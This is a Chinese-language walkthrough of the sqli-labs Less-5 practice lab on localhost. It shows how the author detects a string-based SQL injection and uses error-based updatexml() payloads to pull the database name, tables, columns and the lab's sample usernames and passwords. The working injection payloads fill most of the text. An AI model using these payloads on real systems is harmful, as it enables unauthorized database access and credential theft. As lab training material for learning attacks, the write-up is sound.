sqlibas第五关
目标:http://127.0.0.1/sqlilabas/Less-5/
第一步:
判断是否存在注入,存在什么类型的注入
一、判断注入以及注入类型
(1)当输入id=1的时候产生了回显
继续输入 1 and 1=1
1 and 1=2
1 and 1=2 明显是不成立的,但是还是回显成与输入1的时候一样的回显,由此可得出,数字型注入是没有生效的
(2)继续操作 1' and '1'='1# 页面还是没有变化
输入 1' and '1'='2# 页面发生改变
由此可得出这个目标存在注入,是字符型注入,并且在注入的过程中可以发现,没有其他的什么回显,好像类似布尔盲注一样只有对错或者说点头和摇头,但是布尔盲注操作真的比较麻烦,有没有其他的方法呢,我们试着用报错注入试试
在1后面加上一个引号,发现页面好像把数据库的报错情况打印过来了,说明我们可以使用报错注入
第二步 获取数据库名、表、列、数据
二、获取数据库名
使用常规的union联合查询注入,发现是没有用的,使用盲注比较复杂,而且是有报错提醒的,这个时候,可以采取报错注入
利用updatexml()函数来进行注入
用这个靶场来进行验证在id后面加上注入
id=1' and updatexml(1,concat(0x7e,database()),3)--+
利用报错回显出了这个靶场的数据库,数据库名为 security
三、获取表名
同理也是利用这个方法,修改参数
id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() )),3)
可以发现提示是有多行的,那么加上limit 0,1
可以发现第一个表出来了,在不断的修改值发现一共有4个表
也可以利用group_concat()函数把多行拼接成一行
id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)
可以看到,四个表一起回显出来了
三、获取列名
其实我感觉除了多了一些函数,要不然和union联合查询注入差不多了
就单独选择users表,查询他的字段好了,我觉得如果显示不完全,可以利用limit ,显示完全的话就用group_concat(),因为回显是有限制的(32位)
id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')),3)--+
四、获取数据
使用之前的方法可以看到,显示的不够完整,而且后面的值都看不到了,之前就说了只能显示32位
id=1' and updatexml(1,concat(0x7e,(select group_concat(id,username,password) from users)),3)--+
那么这个时候使用substr()函数来截取,数据内容 ,只能显示32位,那就每次只取32位
substr()函数,一共三个参数,第二个参数的数字代表起始位置,第三个代表步长,直接把步长32固定,每次的起始位置加上32,一直取值可以取到193位
id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(id,username,password) from users),1,32))),3)--+
括号里面的就是慢慢截取出来的users表中的数据(1DumbDumb,2AngelinaI-kill-you,3Dummyp@ssword,4securecrappy,5stupidstupidity,6supermangenious,7batmanmob!le,8adminadmin,9admin1admin1,10admin2admin2,11admin3admin3,12dhakkandumbo,14admin4admin4)